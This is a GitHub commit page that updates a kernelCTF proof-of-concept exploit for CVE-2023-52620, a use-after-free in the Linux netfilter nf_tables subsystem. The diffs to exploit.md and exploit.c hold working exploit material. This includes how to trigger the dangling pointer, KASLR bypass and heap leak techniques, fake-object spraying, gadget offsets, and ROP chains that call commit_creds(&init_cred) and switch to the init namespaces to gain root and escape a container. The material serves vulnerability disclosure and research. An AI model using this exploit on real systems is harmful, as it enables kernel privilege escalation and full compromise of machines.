Skip to content

Commit

Permalink
update exploit.md exploit.c
Browse files Browse the repository at this point in the history
  • Loading branch information
Mingi Cho committed Nov 20, 2024
1 parent 915d02d commit b8e17f8
Show file tree
Hide file tree
Showing 7 changed files with 183 additions and 82 deletions.
125 changes: 103 additions & 22 deletions pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
Expand Up @@ -76,19 +76,37 @@ struct nft_trans_gc *nft_trans_gc_catchall_sync(struct nft_trans_gc *gc)
}
```
We can trigger a UAF from this vulnerability as follows. First, create a victim set and a victim chain, and add a set element to this victim set that points to the victim chain. At this point, the victim chain's reference count (`nft_chain->use`) is set to 1. We then create an immediate expr pointing to the victim chain to create a dangling pointer. Now, the reference count of the victim chain becomes 2. Then, when the vulnerability is triggered, the victim chain's reference count is decremented twice to zero. Since the reference count of the victim chain is zero, the chain can be free. As a result, the victim chain is left as a dangling pointer in the immediate expr.
# KASLR Bypass and Information Leak
To bypass KASLR, I used the `struct nft_expr`, which stores the address of the `struct nft_expr_ops`. Since the address of `nft_expr_ops` is a kernel address, we can bypass KASLR by reading it. We can also get the heap address by reading the list in the `struct nft_rule`. This address will be used later to create fake ops and store the ROP payload. In this exploit, I used `nft_counter_ops`.
```c
struct nft_verdict {
u32 code;
struct nft_chain *chain;
};
struct nft_data {
union {
u32 data[4];
struct nft_verdict verdict;
};
} __attribute__((aligned(__alignof__(u64))));
struct nft_immediate_expr {
struct nft_data data;
u8 dreg;
u8 dlen;
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
```
```c
struct nft_rule {
struct list_head list;
u64 handle:42,
Expand All @@ -100,7 +118,7 @@ struct nft_rule {
};
```

When the vulnerability is triggered, the reference counter of `nft_chain` is decremented twice. Therefore, we used `immediate expr` to create a dangling pointer referencing this victim `nft_chain`. After binding `immediate expr` to the victim `nft_chain`, the dangling pointer is created by triggering the vulnerability to free the victim chain. The name of the freed chain can then be read through `immediate expr`. We spray `nft_expr` (`kmalloc-cg-16`) and `nft_rule` (`kmalloc-cg-96`) to the freed `chain->name` to read `nft_expr->ops` and `nft_rule->list` to get the kernel text address and heap address of `kmalloc-cg-96`.
When the vulnerability is triggered, the reference counter of `nft_chain` is decremented twice. Therefore, we used `immediate expr` to create a dangling pointer referencing this victim `nft_chain`. The `immdedicate expr` uses the `struct nft_immediate_expr` and is stored in the data field of the `struct nft_expr`. After binding `immediate expr` to the victim `nft_chain`, the dangling pointer is created by triggering the vulnerability to free the victim chain. The name of the freed chain can then be read through `nft_immediate_expr.data.verdict.chain`. We spray `nft_expr` (`kmalloc-cg-16`) and `nft_rule` (`kmalloc-cg-96`) to the freed `chain->name` to read `nft_expr->ops` and `nft_rule->list` to get the kernel text address and heap address of `kmalloc-cg-96`.

For the mitigation kernel, we used a timing side channel attack to leak the kernel base, and created a fake ops in the non-randomized CPU entry area (CVE-2023-0597) without leaking the heap address.

Expand Down Expand Up @@ -128,7 +146,7 @@ struct nft_chain {
};
```

When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`.
When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`. We leave the chain freed and spray an object to create a fake blob in `blob_gen_0`.

```c
unsigned int
Expand Down Expand Up @@ -190,36 +208,47 @@ static void expr_call_ops_eval(const struct nft_expr *expr,
}
```

`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the leaked heap address (LTS, COS) or CPU entry area (mitigation) to control the RIP. For LTS and COS kernel, the fake blob object with the fake expr is allocated in `kmalloc-cg-192`. For mitigation kernel, we allocate the fake blob object larger than 0x2000 to use page allocator.
`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the leaked heap address (LTS, COS) or CPU entry area (mitigation) to control the RIP. For LTS kernel, the fake blob object with the fake expr is allocated in `kmalloc-cg-256`. I chose this size because it is large enough to store the ROP payload and is the largest size we can spray with `nft_table->udata`. For COS kernel, the fake blob object with the fake expr is allocated in `kmalloc-cg-192`. I chose this size because we're using a string type to leak the heap address, so I don't want null bytes in the heap address. `kmalloc-cg-192` is the largest size that does not include null bytes in the heap address. For mitigation kernel, we allocate the fake blob object larger than 0x2000 to use page allocator.

# Post-RIP

The ROP payload is stored in `chain->blob_gen_0` allocated in `kmalloc-cg-192` and the leaked heap address allocated in `kmalloc-cg-96`.
For LTS kernel, the ROP payload is stored in `chain->blob_gen_0` allocated in `kmalloc-cg-256` and the leaked heap address allocated in `kmalloc-cg-96`.

When `eval()` is called, `RBX` points to `kmalloc-cg-256+0x10`, which is the beginning of the `nft_expr` structure.

```c
void rop_chain_192(uint64_t* data){
void fake_ops_96(uint64_t* data){
int i = 0;

// expr->ops->eval()
data[i++] = kbase + PUSH_RBX_POP_RSP_RBP;
}

void rop_chain_256(uint64_t* data){
int i = 0;

// nft_rule_blob.size > 0
data[i++] = 0x100;
// nft_rule_blob.dlen > 0
data[i++] = 0x100;

// fake ops addr
// fake ops addr
data[i++] = kmalloc_96;

// current = find_task_by_vpid(getpid())
data[i++] = kbase + POP_RDI_RET
data[i++] = getpid();
data[i++] = kbase + FIND_TASK_BY_VPID;
data[i++] = kbase + POP_RDI_RET
data[i++] = getpid();
data[i++] = kbase + FIND_TASK_BY_VPID;

// current += offsetof(struct task_struct, rcu_read_lock_nesting)
data[i++] = kbase + POP_RSI_RET;
data[i++] = RCU_READ_LOCK_NESTING_OFF;
data[i++] = kbase + ADD_RAX_RSI_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = RCU_READ_LOCK_NESTING_OFF;
data[i++] = kbase + ADD_RAX_RSI_RET;

// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
data[i++] = kbase + POP_RCX_RET;
data[i++] = 0;
data[i++] = kbase + MOV_RAX_RCX_RET;
// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
data[i++] = kbase + POP_RCX_RET;
data[i++] = 0;
data[i++] = kbase + MOV_RAX_RCX_RET;

// commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
Expand All @@ -237,14 +266,60 @@ void rop_chain_192(uint64_t* data){
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES;

data[i++] = kbase + POP_RSP_RET;
data[i++] = kmalloc_96 + sizeof(uint64_t);
data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
data[i++] = 0;
data[i++] = 0;
data[i++] = _user_rip;
data[i++] = _user_cs;
data[i++] = _user_rflags;
data[i++] = _user_sp;
data[i++] = _user_ss;
}
```
For COS kernel, the ROP payload is stored in `chain->rules_gen_0[0]` allocated in `kmalloc-cg-192`.
When `eval()` is called, `RBX` points to `kmalloc-cg-192+0x0`, which is the beginning of the `nft_rule` structure.
void rop_chain_96(uint64_t* data){
```c
void rop_chain(uint64_t* data){
int i = 0;
data[i++] = kbase + PUSH_RBX_POP_RSP;
// This structure overlaps the struct nft_rule
// struct nft_rule {
// struct list_head list; /* 0 16 */
// u64 handle:42; /* 16: 0 8 */
// u64 genmask:2; /* 16:42 8 */
// u64 dlen:12; /* 16:44 8 */
// u64 udata:1; /* 16:56 8 */
// unsigned char data[]; /* 24 0 */
// RBX contains the address of nft_rule
// First two ROP chain elements are overwriting the nft_rule.list
data[i++] = kbase + PUSH_RBX_POP_RSP_RBP;
data[i++] = kbase + POP_R12_R13_RET;
// nft_rule.handle == 0xffff, nft_rule.dlen > 0
data[i++] = 0xffff | ((unsigned long) 0x8 << 44);
// fake ops addr
data[i++] = kmalloc_192;
// commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS;
// find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID;
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES;
data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
data[i++] = 0;
Expand All @@ -259,12 +334,18 @@ void rop_chain_96(uint64_t* data){

For mitigation kernel, the ROP payload is stored in `chain->blob_gen_0` which is allocated by page allocator.

When `eval()` is called, `RBX` points to `chain->blob_gen_0+0x10`, which is the beginning of the `nft_expr` structure.

```c
void rop_chain(uint64_t* data){
int i = 0;

// nft_rule_blob.size > 0
data[i++] = 0x100;
// nft_rule_blob.dlen > 0
data[i++] = 0x100;

// fake ops addr
data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval);

// current = find_task_by_vpid(getpid())
Expand Down
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -44,11 +44,11 @@
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x1201106
#define NFT_COUNTER_OPS 0x1acc8c0

#define PUSH_RBX_POP_RSP 0xe4fc59; // 0xffffffff81e4fc59 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404300
#define POP_RDI_RET 0x228072; // 0xffffffff81228072 : pop rdi ; jmp 0xffffffff82404300
#define POP_RSI_RET 0x008003; // 0xffffffff81008003 : pop rsi ; jmp 0xffffffff82404300
#define MOV_RDI_RAX_RET 0x1002d2b; // 0xffffffff82002d2b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404300
#define POP_R12_R13_RET 0x0f8048 // 0xffffffff810f8048 : pop r12 ; pop r13 ; jmp 0xffffffff82404300
#define PUSH_RBX_POP_RSP_RBP 0xe4fc59; // 0xffffffff81e4fc59 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404300
#define POP_RDI_RET 0x228072; // 0xffffffff81228072 : pop rdi ; jmp 0xffffffff82404300
#define POP_RSI_RET 0x008003; // 0xffffffff81008003 : pop rsi ; jmp 0xffffffff82404300
#define MOV_RDI_RAX_RET 0x1002d2b; // 0xffffffff82002d2b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404300
#define POP_R12_R13_RET 0x0f8048 // 0xffffffff810f8048 : pop r12 ; pop r13 ; jmp 0xffffffff82404300

#define CHAIN_NAME_OFF 0x70

Expand Down Expand Up @@ -251,8 +251,6 @@ void setup_trig_server(void) {

read(sock, buffer, 4);

sleep(3);

close(sock);
close(sfd);

Expand All @@ -276,9 +274,24 @@ void trig_sock(){
void rop_chain(uint64_t* data){
int i = 0;

data[i++] = kbase + PUSH_RBX_POP_RSP;
// This structure overlaps the struct nft_rule
// struct nft_rule {
// struct list_head list; /* 0 16 */
// u64 handle:42; /* 16: 0 8 */
// u64 genmask:2; /* 16:42 8 */
// u64 dlen:12; /* 16:44 8 */
// u64 udata:1; /* 16:56 8 */
// unsigned char data[]; /* 24 0 */

// RBX contains the address of nft_rule
// First two ROP chain elements are overwriting the nft_rule.list
data[i++] = kbase + PUSH_RBX_POP_RSP_RBP;
data[i++] = kbase + POP_R12_R13_RET;

// nft_rule.handle == 0xffff, nft_rule.dlen > 0
data[i++] = 0xffff | ((unsigned long) 0x8 << 44);

// fake ops addr
data[i++] = kmalloc_192;

// commit_creds(&init_cred)
Expand Down Expand Up @@ -650,10 +663,12 @@ void trigger(char * trig_set_name, char * trig_chain_name){
err(1, "mnl_socket_send");
}

// wait for nft_commit_release() to complete
usleep(10*1000);

del_chain(trig_chain_name);

// wait for nft_commit_release() to complete
usleep(300*1000);
}

Expand Down Expand Up @@ -681,8 +696,6 @@ int leak_kaslr(){
err(1, "mnl_socket_send");
}

usleep(10*1000);

ret = mnl_socket_recvfrom(nl, read_data, 0x100);

if (ret > 0) {
Expand Down Expand Up @@ -773,17 +786,19 @@ int exploit(){

printf("[*] heap %lx\n", kmalloc_192);

// create fake nft_chain.rules_gen_0
uint64_t *data = malloc(1024);

data[0] = kmalloc_192;
data[1] = 0;

spray_table(data, KMALLOC_32_SIZE);

del_rule(handle_rop);

// wait for nft_commit_release() to complete
usleep(300*1000);

// create fake nft_rule
rop_chain(data);

spray_table(data, KMALLOC_192_SIZE);
Expand Down Expand Up @@ -821,7 +836,6 @@ void start(){
exploit();

trig_sock();
sleep(1);
}

int main(int argc, char ** argv)
Expand Down
Binary file not shown.
Loading

0 comments on commit b8e17f8

Please sign in to comment.